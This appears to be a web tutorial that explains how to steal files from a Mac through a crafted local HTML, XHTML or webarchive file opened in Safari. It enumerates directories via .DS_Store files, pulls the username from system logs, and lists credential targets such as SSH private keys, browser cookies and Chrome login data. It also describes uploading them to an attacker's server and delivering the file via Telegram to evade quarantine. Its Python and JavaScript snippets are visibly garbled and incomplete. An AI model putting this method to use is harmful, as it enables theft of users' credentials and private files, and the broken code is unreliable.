How to steal data from macOS with Safari & send them to the your server with Telegram. Hacking Apple Mac

Imagine this situation: When you open an HTML document something strange happens and after a while all the files on your hard drive end up in the hands of a hacker. Do you think this is impossible? You might want to think about it again.

There is a possibility that threat actors may abuse some features in modern browsers through a complex attack described below:

  • The user opens an HTML page in a browser
  • The browser reads the list of files available on the user’s computer.
  • The browser reads “sensitive” files and uploads them to the attacker’s remote server. At the same time, the whole process remains invisible to the user

Let’s divide the attack conditionally into two stages:

  • Get information about files on a remote computer
  • Read the files and send them to the attacker’s server

In the first stage, we somehow have to find the list of files that interest us on the user’s computer. The problem is, there’s no clear way to do it. No browser will allow you to read the local directory ~ / and the list of files on your desktop from an HTML page. Random search isn’t an option either. Although we know of several routes like,~/.ssh/id_rsa important routes, in most cases this will be of little use.

In the second stage, having a complete set of paths somehow we must go beyond the limits of the browser sandbox, read the local files and upload them to our server.

Please note that this information is for academic purposes only. IICS is not responsible for the misuse of this tutorial.

Extract lists of files

MacOS has a fun touch. If you open a directory with files, the operating system will create a special hidden file: .DS_Store. This file folder stores view settings on macOS, includes information about the location of the folder window, the size of the window, the view options that were selected (icons, list, or table), and the appearance of the icons in the window. In other words, the operating system caches the file information to quickly display the directory.

In the image we can appreciate. DS_Store (such as a hidden Thumbs.db file on Windows), but unlike Windows, it also contains file and directory names. Simply go to the directory with the files and the operating system will immediately create .DS_Store.

La imagen tiene un atributo ALT vacío; su nombre de archivo es safari01.jpg

What’s so interesting here? The fact that .DS_Store can scan and get the names of all files in the directory. The DSStore module for Python of the same name is suitable for this. Here is a sample code to implement reading .DS_Store:

##!/usr/bin/env python
from ds_store import DSStore
import json
path = '/Users/USERNAME/.DS_Store'
def parse(file):
    filelist = []
    for i in file:
        if i.filename!='.':
    return list(set(filelist)), 'r+')
for name in fileresult:
        d = + name+ '/.DS_Store', 'r+')
        fileresult = parse(d)

Save this code to a and run it. In this case, the result looks like this:

$ python
["Documents", "Pictures", ".idm", "Desktop", "Music", ".oracle_jre_usage", "Public", "tmp", "Parallels", "MEGA", ".BurpSuite", "Downloads", ".config", ".cache", "Applications", ".bash_sessions", "Creative Cloud Files", "PycharmProjects", "Applications (Parallels)", "Dropbox", "Nextcloud", ".iterm2", ".Trash", "Scripts", "Movies", "MEGAsync Downloads", "Soft", ".local", ".ssh", "Library", ".pgadmin"]

We can see the names of files and folders in the home directory. Once recognized, you can query each directory and search there. DS_Store and thus get the hierarchy of files and folders without having access to the directory list.

For example, we scan the home folder ( ~ / DS_Store), we get the following content:

["Backups", "Soft", "Pictures", ".ssh" ...]

We move on to ./Backups/. DS_Store, we get:

["2017", "2016", "2015", ...]

In the following iteration / Backups / 2017 / .DS_Store:

["source", "sql", "static", ...]

And so on. Cybersecurity specialists recommend remembering a couple of things:

  • You need to know the username on the system
  • The .DS_Store is created only where the user visits it

Predicting paths for sensitive files

What else can we find in the user’s system? First, there is the .ssh directory where private keys are typically downloaded. First we must remember these routes:

  • ~/.ssh/id_rsa
  • ~/.ssh/id_rsa.key
  • ~/.ssh/
  • ~/.ssh/known_hosts
  • ~/.ssh/authorized_keys

On the other hand, .bash_history resides in the history of the commands entered in the terminal.

Collect cookies and other data

The cybersecurity specialists will then show you the process of collecting cookies. First of all, keep in mind that macOS has predictable ways to store account data in a directory.

  • ~/Library/Cookies/Cookies.binarycookies
  • ~/Library/Cookies/

There will also be cookies from Twitter, Skype and other applications.

Let’s also take HSTS data thanks to the websites visited that returned the HSTS header.


We will also keep information about system accounts.


Well, Safari isn’t the only one. Usually, several installed software files and configurations are located in the path.

~/Library/Application Support/

We’ll take only Chrome files:

~/Library/Application Support/Google/Chrome/Default/Login Data
~/Library/Application Support/Google/Chrome/Default/Cookies
~/Library/Application Support/Google/Chrome/Default/History

You can also dig through to find out where interesting files from some FTP/SQL clients or message history are stored in any instant messaging service.

Get full paths to user files

We’ve figured out what we can take. Now let’s try to collect these files using Safari. In Chrome, for example, you won’t be able to read local files on the fly with JavaScript. For this to work, Chrome must first be started with a special argument (–disable-web-security). Safari also warns that file:// can’t work with it.

La imagen tiene un atributo ALT vacío; su nombre de archivo es safari02.jpg

However, if HTML was not downloaded from the Internet, Safari is more loyal to this type of request: by sending a request to a local file using XHR, we will receive its contents:

La imagen tiene un atributo ALT vacío; su nombre de archivo es safari03.jpg

Thanks to this function, knowing the full path to the file, we can download its contents and send it to a remote server. But here’s the least nice part: how to get the full path if we don’t know the username? There is no user login, as you may notice.

To find out the username, we check the two log files that appear as soon as you install and configure the operating system. These are the /var/log/system.log and /var/log/install.log. It won’t be in one; chances are It’s in another. We upload these files to the browser and use a regular expression to get the username.

Here is a JS function to extract the user name from the log files:

function getUser() {
    var xhr = new XMLHttpRequest();
    try {'GET', '/var/log/system.log;/', false);
        return xhr.responseText.match(//Users/w+//g)[0];
    } catch (e) {'GET', '/var/log/install.log;/', false);
        return xhr.responseText.match(//Users/w+//g)[0];

Send files to the server

And now we combine the first part of the article and the ability to read files. For proof of concept, we do the server side; we take the path and the user’s content. If it’s .DS_Store, we give you more analysis paths.

You can try whitelisting and blacklisting, for example, so as not to download heavy movies or, on the contrary, download only .docx.

But what if there are other browsers installed on the system? The HTML code will open with Chrome or Firefox and nothing happens. Fortunately, there are a couple of extensions that only open Safari. These are XHTM and webarchive. If everything is clear with XHTM, this is an XML-based web page (and you can run JS on it), so with webarchive it’s a little more complicated. It has two formats, one of which can be easily crafted by hand:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "">
<plist version="1.0">

Where data is a Base64 page with 59 characters each line.

Chances of bypass restrictions

By default, for files transferred over the network, there is a limit to the execution of that code.

This means that if you mail the file, it may not work.

The good news is that not all programs check the box when downloading a file.

This image has an empty alt attribute; its file name is safari04.jpg

The macOS version of Telegram does not do this, for example). In several tests, we were able to read the user’s files with a “malicious” XHTM file transferred via the desktop version of Telegram for macOS, and without file protection or password.

You can probably find other examples, too. And, of course, the finished file can be swiped to the victim on a physical medium during the socio-technical test.

Currently there is no defense against this attack, so it is only left to recommend users to be as cautious as they can when downloading material from the Internet (in addition it is recommended not to use the Safari browser). Due to the features of this attack, Apple does not consider this to be vulnerability, so patches are likely not released.